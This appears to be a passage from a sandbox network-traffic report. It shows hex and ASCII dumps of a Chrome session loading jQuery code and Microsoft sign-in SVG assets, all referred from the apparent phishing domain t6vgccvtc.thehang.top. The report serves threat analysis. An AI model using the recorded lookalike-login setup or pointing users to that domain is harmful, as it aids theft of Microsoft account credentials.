73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49729	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	666	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25180887 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:43 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2025-01-10 17:37:43 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49730	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	662	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25256285 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:43 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2025-01-10 17:37:43 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49737	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:44 UTC	665	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:44 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7482765 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:44 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-10 17:37:44 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49741	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:44 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:45 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25180888 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:44 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2025-01-10 17:37:45 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49742	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:44 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:45 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25256287 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:45 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2025-01-10 17:37:45 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49745	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:45 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:45 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7482766 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 10 Jan 2025 17:37:45 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-10 17:37:45 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49757	104.21.96.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
